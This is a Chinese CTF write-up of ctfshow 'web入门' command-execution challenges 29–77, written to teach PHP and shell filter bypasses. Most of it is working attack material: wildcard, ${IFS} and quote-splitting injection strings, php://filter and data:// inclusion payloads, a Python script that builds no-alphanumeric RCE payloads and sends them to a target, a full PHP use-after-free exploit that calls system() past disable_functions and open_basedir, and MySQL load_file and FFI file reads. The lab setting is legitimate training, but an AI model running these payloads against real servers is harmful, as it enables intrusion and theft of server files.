ctfshow web入门 命令执行(29-77)
Web 命令执行是指攻击者借助Web应用程序里的漏洞,在服务器端执行任意系统命令的一种攻击手段。
原理:
Web 应用程序在处理用户输入时,有时会调用系统命令。若开发人员没有对用户输入进行严格的过滤与验证,攻击者就能够通过构造恶意输入,注入恶意命令,让服务器执行这些命令。
看例题
Web 29
由题目可知:flag被过滤,我们可以猜测flag就在这里,我们尝试使用*来解决这个问题
1.(过滤特定字符串【例如flag】的情况:)
当我们要读取flag时,遇到过滤了flag关键词的时候,我们可以使用通配符绕过。
通配符我们只需要掌握两个符号,分别是 * 和 ?
* 号表示任意长度字符,最常见的就是一条命令处理多个文件
url/?c=system("tac fla*");
2.利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system("ls");
?c=eval($_GET[1]);&1=system("tac fla?.php");
3.利用参数+include(在读取前对内容进行过滤)
(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
4.利用cp命令将flag拷贝到别处
?c=system("cp fl?g.php a.txt");
再访问a.txt
Web 30
由题目可知:
(!preg_match("/flag|system|php/i", $c))
https://blog.csdn.net/weixin_39934520/article/details/109231480,查看eval与其他函数对比
system被过滤了,可以使用passthru
?c=passthru("tac fla*");
Web 31
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))
?c=eval($_GET[1]);&1=system("tac fla?.php");
Web 32
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 33
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
提示:
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web 34
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 35
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 36
由题目可知:
(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
0-9被过滤了,换成字母
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
生成的内容再进行base64解码
Web 37
题目可知:
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
提示:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
使用data协议
?c=data://text/plain/,<?php system('tac f*')?>
data协议
data://协议_data协议-CSDN博客
PHP: data:// - Manual 官方文档
data伪协议生成一段数据流,如果有 include(),include会把数据流当成代码进行执行(使用前提:allow_url_include=On)
Web 38
题目可知:
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
提示:
nginx的日志文件/var/log/nginx/access.log
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
data协议
?c=data://text/plain/,<?= system('tac f*')?>
php被过滤
<?=短标签相当于<?php echo(使用前提short_open_tag=On
Web 39
由题目可知:
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用(不要被.php忽悠到)
?c=data://text/plain,<?php system("tac fla*")?>
Web 40
由题目可知:
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
数字和符号都被过滤了???
提示:
show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls
- ?c=data://text/plain,<?php system("tac fla*")?>
被禁用的()是中文括号,无影响
- ?c=eval(array_pop(next(get_defined_vars())));
post传1=system("tac flag.php");
参考 RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园
- ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- ?c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd()函数返回当前工作目录,可以替代pos(localconv())
pos()输出数组的第一个元素,不改变指针
current()函数返回数组中的当前元素,默认为第一个值,和pos一样
scandir()函数返回执行目录中的文件和目录的数组。这里的参数为"."遍历当前目录
array_reverse()数组逆置
show_source()显示源码
Web 41
由题目可知:
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
无字母数字RCE(通过特殊字符构造字母实现代码执行
参考文章 ctfshow web入门 web41_ctfshow web41-CSDN博客
参考文章 ctfshow-web入门-命令执行(web41_exp与分析)_ctfshow web41-CSDN博客
import re # 用于处理正则表达式# 定义给定的正则表达式模式preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'# 初始化内容字符串content = ''# 循环遍历ASCII码表中的所有字符对for i in range(256):for j in range(256):# 如果字符i和j不匹配给定的正则表达式模式if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): # re.I表示忽略大小写# 将字符i和j进行按位或运算,得到新的字符kk = i | j# 如果字符k是ASCII可见字符(范围在32到126之间)if k >= 32 and k <= 126:# 将字符i和j转换为十六进制形式,并拼接成url编码a = '%' + hex(i)[2:].zfill(2)b = '%' + hex(j)[2:].zfill(2)# 将k对应的字符和i、j转换拼接结果写入txt文件content += (chr(k) + ' '+ a + ' ' + b + '\n')# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建f = open('rce_or.txt', 'w')# 将生成的内容写入文件f.write(content)# 关闭文件f.close()
由于SSL证书问题报错,在第二个脚本在My6n师傅的基础上加入了try-catch块
# -*- coding:utf-8 -*-import requests # 用于发送HTTP请求import urllib # 用于URL编码和解码from sys import *import os # 用于与操作系统进行交互if (len(argv) != 2): # 检查参数数量print("=" * 50)print('USER :python exp.py <url>')print("eg: python exp.py http://ctfshow/")print("=" * 50)exit(0)url = argv[1]def action(arg):s1 = ""s2 = ""for i in arg:f = open("rce_or.txt", "r")while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"|\"" + s2 + "\")"return outputwhile True:param = action(input("\n[+] your function: ")) + action(input("[+] your command: "))data = {'c': urllib.parse.unquote(param)}try:r = requests.post(url, data=data, verify=False)print("\n[*] result:\n" + r.text)except requests.exceptions.RequestException as e:print(f"请求出错: {e}")
try - except块:
在try块中,使用requests.post方法向目标url发送 POST 请求,携带data数据。这里设置verify=False,表示在请求时不验证服务器的 SSL 证书。这是因为在原报错中,是由于证书验证失败导致请求无法正常进行,设置verify=False就跳过了这一验证步骤。然后打印服务器返回的响应内容。
在except块中,捕获requests.exceptions.RequestException异常,这是requests库中所有请求相关异常的基类。如果请求过程中出现任何问题(例如网络连接问题、服务器无响应等),就会执行这部分代码,打印出具体的错误信息。
Web 42
由题目可知:
system($c." >/dev/null 2>&1");
>/dev/null 2>&1 的含义
这部分是 shell 命令的一部分,用来控制命令的输出:
- >/dev/null:将命令的标准输出(STDOUT)重定向到 /dev/null,这是一个特殊的设备文件,写入它的内容将会被丢弃,相当于将输出静默化,不会显示在终端或页面上。
- 2>&1:将命令的标准错误输出(STDERR)重定向到标准输出(STDOUT)。这样做的目的是,即使命令产生了错误信息,也会被一同重定向到 /dev/null,不会显示在页面上。
?c=cat flag.php||ls
Web 43
由题目可知:
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
与42比较,多了一个过滤
?c=tac flag.php||ls
Web 44
由题目可知:
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
?c=tac fla*||ls
Web 45
由题目可知:
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
空格被过滤了,${IFS}
?c=tac${IFS}fla*||ls
Web 46
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
$*和数字都被过滤了
?c=tac<fla''g.php||ls(两个单引号‘
?c=tac<>fla''g.php||ls
?c=tac%09fla''g.php||ls
?c=tac%09fl?g.php||ls
?c=tac<fl?g.php||ls
?c=tac<>fl?g.php||ls
Web 47
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
?c=tac<fla''g.php||
?c=tac%09fla?.php||
Web 48
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
?c=tac<fla''g.php||
?c=tac%09fla?.php||
Web 49
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
?c=tac<fla''g.php||
Web 50
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
?c=tac<fla''g.php||
Web 51
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
tac也被过滤了???
?c=t''ac<fla''g.php||
Web 52
由题目可知:
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
<>也被过滤了,但是$恢复
?c=t''ac${IFS}fla?.php||
发现flag并不在flag.php中
?c=ls${IFS}/||
发现flag
?c=t''ac${IFS}/fla?||
?c=nl$IFS/fla''g||
参考文章 0018. shell命令--nl_shell nl-CSDN博客
1. 显示指定文件内容及行号信息
nl /root/.bashrc
2. 显示指定文件内容及行号信息,空行也加上行号
nl -b a /root/.bashrc
3. 空行也算一行,并且行号前面自动补0,统一输出格式后显示指定文件内容及行号信息
nl -b a -n rz /root/.bashrc
4. 设置行号字段的宽度为 N 个字符,并右对齐
nl -n rz -w 2 /root/.bashrc
nl -n rz -w 5 /root/.bashrc
5. 为非空行添加行号,并设置开始行号为 100
nl -b t -v 100 /root/.bashrc
6. 使用自定义的分隔符(如顿号)添加行号
nl -s '、' /root/.bashrc
7. 与其它符号或命令结合使用
nl /etc/ssh/sshd_config | less
grep "$PS1" /etc/bashrc
nl /etc/bashrc | grep "$PS1"
Web 53
由题目可知:
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
?c=c''at${IFS}fla?.php
Web 54
由题目可知:
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
.*c.*a.*t.* 匹配任何包含cat的字符串
ls还存在,可以看到flag在flag.php中
参考 ctf.show
把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
?c=/bin/?at${IFS}f???????
查看源码得到flag
Web 55
无字母RCE5
由题目可知:
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
字母又被过滤了???
%也被过滤了…..
构造一个post数据上传包?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://b3df1a2e-05d1-4146-93b5-a2e7a507deb5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包,传参数
参考文章
无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客
Web 56
由题目可知:
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
和web55一样
参考文章
无字母数字的命令执行(ctfshow web入门 56)_ctfshow56-CSDN博客
Web 57
由题目可知:
//flag in 36.php
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
设一个非零整数为n,其取反后的结果为~n,在以k位二进制补码表示的整数范围内(有符号整数),~n=-(n+1)。
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看网页源代码,得到flag
Web 58
由题目可知:
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
发现题目对于system 等函数都过滤了
c=highlight_file("flag.php");
c=show_source("flag.php");
highlight_file() 函数的作用是将指定文件的源代码以语法高亮的HTML的格式输出
show_source()函数的作用也是将指定文件的源代码以语法高亮的HTML的格式输出
两个函数的作用基本相同
Web 59
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 60
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 61
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 62
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 63
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 64
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 65
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
c=show_source("flag.php");
Web 66
由题目可知:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}
c=highlight_file("flag.php");
$flag="秀秀得了,这次不在这里";
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,上面几个都是一样的(58-65
c=print_r(scandir("/"));
发现有flag.txt
c=highlight_file("/flag.txt");
scandir("/"):指定对"/"根目录进行扫描
print_r():以可读的格式输出变量
Web 68
由题目可知:
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
highlight_file这次也被禁用了
c=include("/flag.txt");
c=var_dump(scandir("/"));
c=readgzfile("/flag.txt");
Web 69
由题目可知:
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
c=include("/flag.txt");
var_dump()被过滤了
Web 70
由题目可知:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
c=var_export(scandir("/"));
c=include("/flag.txt");
Web 71
由题目可知:
给了一个index.php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
ob_get_contents():该函数会返回当前输出缓冲区的内容,但不会清空缓冲区
ob_end_clean():该函数会清空当前输出缓冲区中的内容,然后关闭缓冲区。这意味着之前存储在缓冲区的内容不会再被发送到浏览器
提示:
我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);
c=var_export(scandir("/"));exit(0);
c=include('/flag.txt');exit(0);
Web 72
由题目可知:
给了一个index.php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
var_export()被过滤了
尝试读取目录的时候发现开启了basedir限制,绕过尝试使用glob协议
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b)) !== false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
发现只有一个flag0.txt
粘贴脚本,url编码
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() {global $backtrace;unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}
}class Helper {public $a, $b, $c, $d;
}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;
}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;
}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}
}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;
}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];
}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}
}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}
}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;
}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;
}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');
}$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');
$abc = $backtrace[1]['args'][0];$helper = new Helper;
$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");
}$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);
write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");
}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");
}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");
}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");
}$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);($helper->b)($cmd);
exit();}ctfshow("cat /flag0.txt");ob_end_flush(); ?>
原理:利用php垃圾回收,回收漏洞实现绕过basedir
具体看b站ctfshow的web72讲解
Web 73
由题目可知:
c=var_export(scandir("/"));exit(0);
发现有一个flagc.txt
c=include("/flagc.txt");exit(0);
Web 74
由题目可知:
c=var_export(scandir("/"));exit(0);
显示NULL??
但是print_r和var_dump还是被过滤的状态
c=var_export(glob('../../..'.'/*'));exit();
golb:// 用于查找匹配文件路径模式的php伪协议
. 在php中属于字符串连接运算符,在这里将'../../..'和'/*'连接起来形成新的字符串
../../.. 表示当前所在目录向上三级的目录
/* 是通配符,意味着该目录下的所有文件以及文件夹
c=include("/flagx.txt");exit();
Web 75
由题目可知:
c=var_export(glob('../../..'.'/*'));exit(0);显示false
ctfshow-web入门-命令执行(web71-web74)_web72-CSDN博客
ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客
参考Myon5师傅的文章,(注意缩进问题
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象,遍历根目录
foreach ($a as $f) { // 遍历每个条目
echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
使用golb协议绕过open_basedir查看根目录下文件,发现flag36.txt
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。
try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}
// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}
// 终止脚本执行
exit();
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。
Web 76
由题目可知:
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
查看根目录下的文件
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
Web 77
由题目可知:
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
查看根目录下的文件
发现有flag36.txt和readflag
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();
could not find driver
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;
之后执行 /readflag 程序并将其输出重定向到文件 1.txt;
通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。
ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客
看了佬的文章,慢慢理解